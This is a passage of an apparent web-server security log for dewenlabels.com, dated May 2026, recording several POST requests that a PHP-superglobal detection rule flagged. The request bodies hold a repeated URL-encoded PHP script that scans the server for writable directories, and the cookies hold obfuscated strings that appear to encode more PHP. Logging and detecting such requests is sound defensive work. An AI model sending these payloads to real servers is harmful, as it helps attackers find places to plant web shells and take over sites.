Chrome\";v=\"101\"\ncontent-length:4400\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nBF=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:21:08","167.71.226.156","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> eV:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:4400\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\neV=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:21:15","209.142.66.40","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Ew:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:4400\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nEw=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:21:18","85.195.82.166","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Ow:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:4400\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 